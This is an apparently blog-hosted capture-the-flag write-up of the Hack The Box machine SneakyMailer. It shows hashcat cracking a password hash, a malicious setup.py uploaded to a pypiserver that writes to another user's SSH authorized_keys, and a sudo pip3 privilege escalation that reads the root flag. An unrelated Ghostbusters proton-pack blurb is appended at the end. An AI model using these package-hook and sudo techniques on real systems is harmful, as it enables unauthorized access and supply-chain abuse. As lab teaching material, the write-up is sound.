I believe this is the BOX with the most credentials I have ever done on HTB! And I have not yet taken the first flag!
Well, another credential, this time we need a bruteforce with one of the password cracker we usually like to use, but my favourite is hashcat.
in7rud3r@kali:~/Dropbox/hackthebox/_10.10.10.197 - SneakyMailer/attack/pypi$ hashcat -m 1600 --force -a 0 pypi.hash /usr/share/wordlists/rockyou.txt
hashcat (v6.0.0) starting...
You have enabled --force to bypass dangerous warnings and errors!
This can hide serious problems and should only be done when debugging.
Do not report hashcat issues encountered when using --force.
OpenCL API (OpenCL 1.2 pocl 1.5, None+Asserts, LLVM 9.0.1, RELOC, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
=============================================================================================================================
* Device #1: pthread-Intel(R) Core(TM)2 Duo CPU T8300 @ 2.40GHz, 2836/2900 MB (1024 MB allocatable), 2MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Applicable optimizers:
* Zero-Byte
* Single-Hash
* Single-Salt
ATTENTION! Pure (unoptimized) backend kernels selected.
Using pure kernels enables cracking longer passwords but for the price of drastically reduced performance.
If you want to switch to optimized backend kernels, append -O to your commandline.
See the above message to find out about the exact limits.
Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.
Host memory required for this attack: 64 MB
Dictionary cache built:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344392
* Bytes.....: 139921507
* Keyspace..: 14344385
* Runtime...: 3 secs
[s]tatus [p]ause [b]ypass [c]heckpoint [q]uit =>
$apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/:soufianeelhaoui
Session..........: hashcat
Status...........: Cracked
Hash.Name........: Apache $apr1$ MD5, md5apr1, MD5 (APR)
Hash.Target......: $apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/
Time.Started.....: Sat Aug 1 17:56:43 2020, (16 mins, 17 secs)
Time.Estimated...: Sat Aug 1 18:13:00 2020, (0 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 3742 H/s (7.93ms) @ Accel:16 Loops:1000 Thr:1 Vec:4
Recovered........: 1/1 (100.00%) Digests
Progress.........: 3614048/14344385 (25.19%)
Rejected.........: 0/3614048 (0.00%)
Restore.Point....: 3614016/14344385 (25.19%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1000
Candidates.#1....: soufsyde43 -> soufiane07
Started: Sat Aug 1 17:55:17 2020
Stopped: Sat Aug 1 18:13:02 2020
Well, after that I'm allow to access to the two sections on the pypi portal, but, the section is empty. I suppose this is the next jigsaw to exploit, and I have no idea about what is this.
Ok, this is the tricky point that I'm not sure about what I have done and how it works. Anyway, I try to explain what I understand. The pypiserver is a personal repository for their own python packages that allow the developer to install it using an internal server. Now if you search about exploits on it, no much things come out, so, the complex step is to understand how it works and how you can take advantage of it. I start to read a lot of documentation. Probably a python developer that use this all days should be advantaged, but, for me, it was really tricky, because the difficulty is to understand in a short, what experienced developer acquire during many years of work. After hours involved in understanding how it works, I decide for a different approach; we are talking about a packager distribution system, so, probably I have to make a package in python and I don't know even how to do this, so, I re-start trying to understand how to create a package and deploy it on the pypiserver.
The tricky point is that the possibility are really a huge, starting from the package you create, the code you can put inside, or something else. Anyway, I'm in the privilege escalation phase, so, probably I have to use the privileged account I found (that I cannot use on the shell impersonating it).
I found this article:
$ cd not-this
$ ls -la
total 8
drwxrwxrwx 2 www-data www-data 4096 Aug 2 04:33 .
drwxrwxrwt 22 root root 4096 Aug 2 04:33 ..
$ touch LICENSE
$ touch README.md
$ mkdir pkg
$ touch pkg/__init__.py
$ touch setup.py
$ mkdir tests
$ ls -la
total 16
drwxrwxrwx 4 www-data www-data 4096 Aug 2 04:36 .
drwxrwxrwt 22 root root 4096 Aug 2 04:33 ..
-rw-rw-rw- 1 www-data www-data 0 Aug 2 04:35 LICENSE
-rw-rw-rw- 1 www-data www-data 0 Aug 2 04:35 README.md
drwxrwxrwx 2 www-data www-data 4096 Aug 2 04:35 pkg
-rw-rw-rw- 1 www-data www-data 0 Aug 2 04:36 setup.py
drwxrwxrwx 2 www-data www-data 4096 Aug 2 04:36 tests
I proceed creating the files and filling with code I consider the right one, but... I mistake. Here the first version of my setup.py (please the python developer to not judge me for the mistakes made!).
import setuptools
with open("/home/low/user.txt", "r") as fh:
long_description = fh.read()
setuptools.setup(
name="retrieve-user-flag",
version="0.0.1",
author="in7rud3r (aka no1)",
author_email="[email protected]",
description="If it works, retrieve the user flag of this CTF",
long_description=long_description,
url="http://pypi.sneakycorp.htb:8080/packages",
packages=setuptools.find_packages(),
classifiers=[
"Programming Language :: Python :: 3",
"License :: OSI Approved :: MIT License",
"Operating System :: OS Independent",
],
python_requires='>=3.6',
)
My original idea is to retrieve the flag using the pypi user (hoping it has the privileges to do so) at the time of publication and insert it in the package description. I upload all the files using the previous ftp account. Now, From now on I begin a series of attempts which, step by step, will make me understand how to proceed.
I won't bore you now with all the attempts I've made, but know that there have been really many, some even a bit randomly as I said before. To make you understand, however, I report some of the things that I understood during my attempts. For example, the code in setup.py, which should initialize the package during the publication, is also executed during the submission by the local user who performs the operation, therefore, any inhibited operation he interrupted the publication in advance (see the shell error above). So I put the code in a "try ... catch" block in order to bypass the exception reported by the user with whom I made the publication. In part, it worked, but maybe my idea of catching the flag right away wasn't going well; I would have expected to see in the portal side (http://pypi.sneakycorp.htb:8080/packages) the package record that I had just entered with the desired description, but nothing, the section had remained empty (here too, I guess the developers' python can give me eloquent explanations on why and sure about the mistakes I made during my attempts). So I looked for other ways and I found the .ssh folder in the user "low" folder and so I tried to insert a key into the authorized_keys file to try to access via ssh (also here, unaware that the user pypi had permissions to write and edit that file). However, in the end, the scripting and configuration files evolved into the ones I list below with the addition of the .pypirc file which served to configure the credentials for deployment. I leave you, some of the links that I found useful for my understanding of the subject:
The setup.py file:
import setuptools
try:
with open("/home/low/.ssh/authorized_keys", "w+") as fh:
fh.writelines("append this message to see if it work!!!")
except:
setuptools.setup(
name="notthis",
version="0.0.1",
author="in7rud3r (aka no1)",
author_email="[email protected]",
description="If it works, append a text on the authorized_keys",
url="http://pypi.sneakycorp.htb:8080/packages"
)
The .pypirc file:
[distutils]
index-servers=
notthis
[notthis]
repository = http://127.0.0.1:5000
username = pypi
password = soufianeelhaoui
And the sequence of instruction to publish the package:
$ python3 setup.py sdist
running sdist
running egg_info
writing notthis.egg-info/PKG-INFO
writing dependency_links to notthis.egg-info/dependency_links.txt
writing top-level names to notthis.egg-info/top_level.txt
reading manifest file 'notthis.egg-info/SOURCES.txt'
writing manifest file 'notthis.egg-info/SOURCES.txt'
running check
creating notthis-0.0.1
creating notthis-0.0.1/notthis.egg-info
copying files to notthis-0.0.1...
copying README.md -> notthis-0.0.1
copying setup.py -> notthis-0.0.1
copying notthis.egg-info/PKG-INFO -> notthis-0.0.1/notthis.egg-info
copying notthis.egg-info/SOURCES.txt -> notthis-0.0.1/notthis.egg-info
copying notthis.egg-info/dependency_links.txt -> notthis-0.0.1/notthis.egg-info
copying notthis.egg-info/top_level.txt -> notthis-0.0.1/notthis.egg-info
Writing notthis-0.0.1/setup.cfg
Creating tar archive
removing 'notthis-0.0.1' (and everything under it)
$ python3 setup.py sdist upload -r notthis
running sdist
running egg_info
writing notthis.egg-info/PKG-INFO
writing dependency_links to notthis.egg-info/dependency_links.txt
writing top-level names to notthis.egg-info/top_level.txt
reading manifest file 'notthis.egg-info/SOURCES.txt'
writing manifest file 'notthis.egg-info/SOURCES.txt'
running check
creating notthis-0.0.1
creating notthis-0.0.1/notthis.egg-info
copying files to notthis-0.0.1...
copying README.md -> notthis-0.0.1
copying setup.py -> notthis-0.0.1
copying notthis.egg-info/PKG-INFO -> notthis-0.0.1/notthis.egg-info
copying notthis.egg-info/SOURCES.txt -> notthis-0.0.1/notthis.egg-info
copying notthis.egg-info/dependency_links.txt -> notthis-0.0.1/notthis.egg-info
copying notthis.egg-info/top_level.txt -> notthis-0.0.1/notthis.egg-info
Writing notthis-0.0.1/setup.cfg
Creating tar archive
removing 'notthis-0.0.1' (and everything under it)
running upload
Submitting dist/notthis-0.0.1.tar.gz to http://127.0.0.1:5000
Server response (200): OK
WARNING: Uploading via this command is deprecated, use twine to upload instead (https://pypi.org/p/twine/)
$ cat /home/low/.ssh/authorized_keys
append this message to see if it work!!!$
As you can see, the pypi user has the permission to write the authorized_key file in the .ssh folder of the low user. So, change the message with your public key and repeat the steps.
in7rud3r@kali:~/Dropbox/hackthebox/_10.10.10.197 - SneakyMailer/attack/ssh$ ssh -i id_rsa [email protected]
Enter passphrase for key 'id_rsa':
Linux sneakymailer 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2 (2020-04-29) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
No mail.
Last login: Sun Aug 2 03:48:40 2020 from 10.10.14.192
low@sneakymailer:~$ cat user.txt
3******************************7
And finally, we have the flag. Ok, more simple for the root flag. Simply, proceed to identify what can do the low user with the root privileges.
low@sneakymailer:~$ sudo -l
sudo: unable to resolve host sneakymailer: Temporary failure in name resolution
Matching Defaults entries for low on sneakymailer:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User low may run the following commands on sneakymailer:
(root) NOPASSWD: /usr/bin/pip3
Well, pip again, search on internet for "pip3 privileges escalation" and give a look at the section "Exploiting Sudo rights", it seems to be what we need.
Let me adapt the exploiting script to my needs...
low@sneakymailer:~$ TF=$(mktemp -d)
low@sneakymailer:~$ echo "import os; os.execl('/bin/sh', 'cat', '/root/root.txt')" > $TF/setup.py
low@sneakymailer:~$ sudo /usr/bin/pip3 install $TF
cat
ls -la
sudo: unable to resolve host sneakymailer: Temporary failure in name resolution
Processing /tmp/tmp.Fi6IXnqKAi
Complete output from command python setup.py egg_info:
/root/root.txt: 1: /root/root.txt: 1******************************b: not found
----------------------------------------
Command "python setup.py egg_info" failed with error code 127 in /tmp/pip-req-build-g_vhvgx7/
low@sneakymailer:~$
And what appears will be the root flag. That's all folks, thanks to following me again and see you on the next writeup.
Learn More About The Images We Choose
Today we celebrate the work of noted parapsychologists Dr. Ventman, Dr. Stantz, and Dr. Spegler in the field of ectoplasmic physics and for their invention of the Proton pack. Proton Packs are special because they are the only piece of technology in the world that has the ability to strip electrons away from protons. It has a hand-held wand known as a "neutrona Wand" (also called a particle thrower) connected to a backpack-sized particle accelerator. The Proton Pack, also referred to as a charged particle accelerator, functions by using a miniature cyclotron to concentrate protons by channeling though a "positron collider" and then to the neutrona wand, emitting way-fire positronic ionized stream of proton energy that polarizes with the negatively charged ectoplasmic entities which held them in the stream while active.